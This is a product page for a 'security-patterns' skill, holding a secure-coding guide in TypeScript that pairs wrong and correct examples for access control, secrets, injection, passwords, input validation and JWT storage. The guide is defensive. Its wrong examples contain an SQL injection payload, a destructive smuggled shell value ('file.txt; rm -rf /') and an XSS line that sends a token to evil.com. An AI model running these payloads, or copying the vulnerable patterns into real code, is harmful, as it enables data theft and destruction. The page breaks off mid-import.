Claude
Skills
Sign in
Back

security-patterns

Included with Lifetime
$97 forever

Security best practices for authentication, input validation, OWASP patterns, and secure coding. Use when handling user input, auth, secrets, or sensitive data.

Security

What this skill does


# Security Patterns

Comprehensive security patterns and best practices for secure application development.

## When to Use

- Implementing authentication or authorization
- Handling user input or file uploads
- Working with secrets or environment variables
- Creating API endpoints
- Storing or transmitting sensitive data
- Integrating third-party services

## OWASP Top 10 Patterns

### 1. Broken Access Control

#### ❌ WRONG: Missing Authorization
```typescript
export async function DELETE(request: Request) {
  const { userId } = await request.json()

  // No authorization check - anyone can delete any user
  await db.users.delete({ where: { id: userId } })

  return NextResponse.json({ success: true })
}
```

#### ✅ CORRECT: Proper Authorization
```typescript
export async function DELETE(request: Request) {
  const session = await getSession(request)
  const { userId } = await request.json()

  // Check if user is authorized
  if (session.userId !== userId && session.role !== 'admin') {
    return NextResponse.json(
      { error: 'Unauthorized' },
      { status: 403 }
    )
  }

  await db.users.delete({ where: { id: userId } })
  return NextResponse.json({ success: true })
}
```

### 2. Cryptographic Failures

#### ❌ WRONG: Hardcoded Secrets
```typescript
const JWT_SECRET = "my-super-secret-key"
const API_KEY = "sk-proj-xxxxxxxxxxxxx"
const DATABASE_URL = "postgresql://user:password@localhost/db"
```

#### ✅ CORRECT: Environment Variables
```typescript
// .env.local (never commit this file)
JWT_SECRET=use-a-strong-randomly-generated-secret
OPENAI_API_KEY=sk-proj-xxxxxxxxxxxxx
DATABASE_URL=postgresql://user:password@host/db

// app code
const jwtSecret = process.env.JWT_SECRET
if (!jwtSecret) {
  throw new Error('JWT_SECRET environment variable not set')
}

const apiKey = process.env.OPENAI_API_KEY
if (!apiKey) {
  throw new Error('OPENAI_API_KEY not configured')
}
```

**Verification Steps:**
- [ ] No secrets in source code
- [ ] `.env.local` in `.gitignore`
- [ ] Secrets validated at startup
- [ ] Production secrets in hosting platform (Vercel, Railway)
- [ ] No secrets in git history (`git log --all --full-history --source -- .env*`)

### 3. Injection Attacks

#### SQL Injection

❌ **WRONG: String Concatenation**
```typescript
const email = request.body.email
const query = `SELECT * FROM users WHERE email = '${email}'`
await db.query(query)
// Vulnerable to: ' OR '1'='1
```

✅ **CORRECT: Parameterized Queries**
```typescript
// With Supabase
const { data, error } = await supabase
  .from('users')
  .select('*')
  .eq('email', email)

// With raw SQL
await db.query(
  'SELECT * FROM users WHERE email = $1',
  [email]
)
```

#### Command Injection

❌ **WRONG: Unsanitized Shell Commands**
```typescript
import { exec } from 'child_process'

const filename = request.body.filename
exec(`cat ${filename}`, callback)
// Vulnerable to: file.txt; rm -rf /
```

✅ **CORRECT: Avoid Shell Commands**
```typescript
import { readFile } from 'fs/promises'
import path from 'path'

const filename = request.body.filename
const safePath = path.join('/safe/directory', path.basename(filename))
const content = await readFile(safePath, 'utf8')
```

### 4. Insecure Design

#### ❌ WRONG: Weak Password Requirements
```typescript
function validatePassword(password: string) {
  return password.length >= 6
}
```

#### ✅ CORRECT: Strong Password Policy
```typescript
import { z } from 'zod'

const PasswordSchema = z.string()
  .min(12, 'Password must be at least 12 characters')
  .regex(/[A-Z]/, 'Must contain uppercase letter')
  .regex(/[a-z]/, 'Must contain lowercase letter')
  .regex(/[0-9]/, 'Must contain number')
  .regex(/[^A-Za-z0-9]/, 'Must contain special character')

function validatePassword(password: string) {
  try {
    PasswordSchema.parse(password)
    return { valid: true }
  } catch (error) {
    return { valid: false, errors: error.errors }
  }
}
```

## Input Validation Patterns

### Schema-Based Validation

```typescript
import { z } from 'zod'

// Define schemas for all inputs
const CreateUserSchema = z.object({
  email: z.string().email(),
  name: z.string().min(1).max(100),
  age: z.number().int().min(0).max(150).optional(),
  role: z.enum(['user', 'admin', 'moderator']),
  metadata: z.record(z.string()).optional()
})

export async function POST(request: Request) {
  try {
    const body = await request.json()
    const validated = CreateUserSchema.parse(body)

    // Safe to use validated data
    const user = await db.users.create(validated)
    return NextResponse.json({ success: true, user })

  } catch (error) {
    if (error instanceof z.ZodError) {
      return NextResponse.json(
        { error: 'Validation failed', details: error.errors },
        { status: 400 }
      )
    }
    throw error
  }
}
```

### File Upload Validation

```typescript
const MAX_FILE_SIZE = 5 * 1024 * 1024 // 5MB
const ALLOWED_TYPES = ['image/jpeg', 'image/png', 'image/gif', 'image/webp']
const ALLOWED_EXTENSIONS = ['.jpg', '.jpeg', '.png', '.gif', '.webp']

function validateFileUpload(file: File): { valid: boolean; error?: string } {
  // Size check
  if (file.size > MAX_FILE_SIZE) {
    return { valid: false, error: 'File too large (max 5MB)' }
  }

  // MIME type check
  if (!ALLOWED_TYPES.includes(file.type)) {
    return { valid: false, error: 'Invalid file type' }
  }

  // Extension check (prevent bypass via MIME type)
  const extension = file.name.toLowerCase().match(/\.[^.]+$/)?.[0]
  if (!extension || !ALLOWED_EXTENSIONS.includes(extension)) {
    return { valid: false, error: 'Invalid file extension' }
  }

  return { valid: true }
}
```

### Sanitize HTML Input

```typescript
import DOMPurify from 'isomorphic-dompurify'

function sanitizeUserHTML(html: string): string {
  return DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'ul', 'ol', 'li'],
    ALLOWED_ATTR: [],
    ALLOW_DATA_ATTR: false
  })
}

// Use in component
function UserContent({ html }: { html: string }) {
  const clean = sanitizeUserHTML(html)
  return <div dangerouslySetInnerHTML={{ __html: clean }} />
}
```

## Authentication Patterns

### JWT Token Handling

❌ **WRONG: localStorage (XSS vulnerable)**
```typescript
// Client-side
localStorage.setItem('token', token)

// Attacker can steal via XSS:
// <script>fetch('evil.com?token='+localStorage.token)</script>
```

✅ **CORRECT: httpOnly Cookies**
```typescript
// Server-side
export async function POST(request: Request) {
  const { email, password } = await request.json()
  const user = await authenticateUser(email, password)

  if (!user) {
    return NextResponse.json({ error: 'Invalid credentials' }, { status: 401 })
  }

  const token = await generateJWT(user)

  const response = NextResponse.json({ success: true })
  response.cookies.set('token', token, {
    httpOnly: true,      // Cannot be accessed by JavaScript
    secure: true,        // Only sent over HTTPS
    sameSite: 'strict',  // CSRF protection
    maxAge: 60 * 60 * 24 // 24 hours
  })

  return response
}
```

### Password Hashing

❌ **WRONG: Plain Text or Weak Hashing**
```typescript
import crypto from 'crypto'

// Never store plain text
const user = { email, password: password }

// MD5/SHA1 are too fast (vulnerable to brute force)
const hash = crypto.createHash('md5').update(password).digest('hex')
```

✅ **CORRECT: bcrypt or Argon2**
```typescript
import bcrypt from 'bcryptjs'

// Hash password with salt
async function hashPassword(password: string): Promise<string> {
  const saltRounds = 12 // Increase for more security
  return await bcrypt.hash(password, saltRounds)
}

// Verify password
async function verifyPassword(password: string, hash: string): Promise<boolean> {
  return await bcrypt.compare(password, hash)
}

// Usage
const hashedPassword = await hashPassword(plainPassword)
await db.users.create({ email, password: hashedPassword })
```

### Multi-Factor Authentication

```typescript
import speakeasy from 'speakeasy'
import Q

Related in Security